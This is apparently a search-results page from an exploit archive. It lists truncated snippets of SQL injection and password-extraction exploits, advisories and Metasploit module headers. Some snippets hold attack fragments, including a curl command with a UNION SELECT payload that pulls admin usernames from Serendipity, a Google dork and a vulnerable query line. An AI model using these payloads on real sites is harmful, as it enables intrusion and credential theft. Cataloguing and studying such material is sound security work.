148 matches found
SmartFTP Saved Password Extraction
$Id:$ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of use. http://metasploit.com/framework/ require 'msf/core' require 'rex' require...
Apple Airport Extreme Password Extraction (WDBRPC)
This module can be used to read the stored password of a vulnerable Apple Airport Extreme access point. Only a small number of firmware versions have the WDBRPC service running, however the factory configuration was vulnerable. It appears that firmware versions 5.0.x as well as 5.1.x are...
SphereCMS Blind SQL Injection Vulnerability
www.BugReport.ir AmnPardaz Security Research Team Title: SphereCMS Blind SQL Injection Vulnerability Vendor: http://sphere.xlentprojects.se/ Vulnerable Version: 1.1 alpha Latest version till now Exploitation: Remote with browser Fix: N/A - Description: SphereCMS is a CMS which allow managing foru...
4images 1.7.1 Remote SQL Injection Vulnerability
No description provided by source. Exploit Title: 4images 1.7.1 Remote SQL Injection Vulnerability Date: 20-12-2009 Author: Master Mind Version: 1.7.1 CVE : N/A ============================================================= Script Name : 4images 1.7.1 Language : php Author : Master Mind Home :...
PJblog V3.0 ę³Øå „ę¼ę“
ę¼ę“ę件ļ¼action.asp ē¬¬14č” strcname=request"cname" set checkcdb=conn.execute"select from blogContent where logcname="""&strcname&"""" PJblog V3.0 å®ę¹č”„äø ?php / PJblog V3.0 0day exp code by å°čč&bink www.0kee.com www.t00ls.net 09.04.22 / $url="http://www.pjhome.net"; //ę³Øå „å°å $varname="puterjam"; //ē®”ēå...
oceandir-sql.txt
/ @title Oceandir = 2.9 showvote.php id Remote SQL injection @author JEEN HACKER TEAM Jeen + Secertry @cost 250$ @script http://www.oceandir.com @copyright 2008 @homepage http://www.hackteach.org/cc/teach.php @email [email protected] , [email protected] / Exploit : user...
zorum-blindsql.txt
!/usr/bin/perl use LWP::UserAgent; use Getopt::Long; if!$ARGV1 print " \n"; print " oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo\n"; print " o Zorum 3.5 Blind SQL Injection Exploit o\n"; print " o o\n"; print " o Discovered By: CraCkEr o\n"; print " o o\n"; print " o Coded B...
MyMarket 1.72 Blind SQL Injection Exploit
Exploit for unknown platform in category web applications ========================================= MyMarket 1.72 Blind SQL Injection Exploit ========================================= !/usr/bin/perl MyMarket 1.72 Blind SQL Injection Exploit Bug by: h0yt3r Demo:...
ASP Message Board 2.2.1c Remote SQL Injection Vulnerability
No description provided by source. Bug Found On : "ASP Message Board" Found By : Q7x Home : Www.Larestankids.coM Ashiyane2 Security Team Dork : inurl:"printer.asp?forum=" Version : 2.2.1c Bug : ASP Message Board - printer.asp - Remote Sql Injection Exploit Exploit : Admin User / Password :...
Buddy Zone 1.5 - view_sub_cat.php?cat_id SQL Injection
Buddy Zone 1.5 - viewsubcat.php?catid SQL Injection --==+================================================================================+==-- --==+ Buddy Zone Version 1.5 SQL Injection Vulnerability +==-- --==+================================================================================+==--...
TIBCO Rendezvous 7.4.11 - Password Extractor
TIBCO Rendezvous 7.4.11 - Password Extractor / Exploit: TIBCO RendezVous local password extractor version tibco.exe c:\rvrd.db Tibco RendezVous Password Dumper Affected versions include define DECODE64c isasciic ? base64valc : -1...
Particle Wiki <= 1.0.2 (version) Remote SQL Injection Vulnerability
No description provided by source. Particle wiki = 1.0.2 Remote SQLInjection - Username/Passwordhash Extractor Thanks to UNSECURED SYSTEMS : http://pridels.blogspot.com/2006/06/particle-wiki-sql-inj.html Exploited by FarhadKey from http://www.kapda.ir Username :...
Particle Wiki 1.0.2 - SQL Injection
Particle wiki = 1.0.2 Remote SQLInjection - Username/Passwordhash Extractor Thanks to UNSECURED SYSTEMS : http://pridels.blogspot.com/2006/06/particle-wiki-sql-inj.html Exploited by FarhadKey from http://www.kapda.ir Username :...
Invision Power Board 2.1.5 - from_contact SQL Injection
Invision Power Board 2.1.5 - fromcontact SQL Injection !/usr/bin/perl IPB =2.1.4 exploit possibly 2.1.5 too Brought to you by the Ykstortion security team. The bug is in the pm system so you must have a registered user. The exploit will extract a password hash from the forum's data base of the...
eventum.pl.txt
!/usr/bin/perl -w use IO::Socket; use strict; print "\n"; print " MySQL Eventum new PeerAddr = $host, PeerPort = $port, Proto = 'tcp' || die "! Unable to connect to $host\n"; my $post =...
r57lite211.txt
!/usr/bin/perl use LWP::UserAgent; LiteForum 2.1.1 http://www.softtime.ru sql injection exploit work on all mysql versions by 1dt.w0lf RusH security team http://rst.void.ru --------------------------------------- greets 2: ghc www.ghc.ru Gh0st Security Team http://gst.void.ru heya Ch0ke7 and off...
S9Y Serendipity 0.7-beta1 - SQL Injection
Proof of Concept 1 ------------------ Usage: ./sersqlipoc.sh URLtoSerendipityWeblog sersqlipoc.sh ---------8-----------8------------- !/bin/sh echo -n "Username: " curl -I -s "$1/exit.php?urlid=1&entryid=1%20and%200%20union%20select%20username%20from%20serendipityauthors%20where%20authorid%3D1" |...
@stake advisory: Lexar JumpDrive Secure Password Extraction
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 @stake, Inc. www.atstake.com Security Advisory Advisory Name: Lexar JumpDrive Securetm Password Extraction Release Date: 09-13-2004 Application: JumpDrive Securetm Version 1.0 and Lexar Safe Guardtm software Platform: Windows and Mac Severity: An...
nucleusCMSSQL.txt
!/usr/bin/php ? // Nucleus CMS v3.01 addcoment/itemid SQL Injection Proof of Concept // By aCiDBiTS [email protected] 24-July-2004 // // Nucleus CMS http://nucleuscms.org is a weblog php+mysql application. // // This Proof of Concept dumps the username and MD5password of the admin user placed ...
Blackboard 5.x Password Retrieval
-- Overview Through the exploitation of a SQL injection vulnerability it is possible for an unauthenticated user to query the Blackboard user directory and: - Enumerate users with a given password. - Extract the MD5 password of any given user. Blackboard Learning System 5.x, level 1 and 2 are...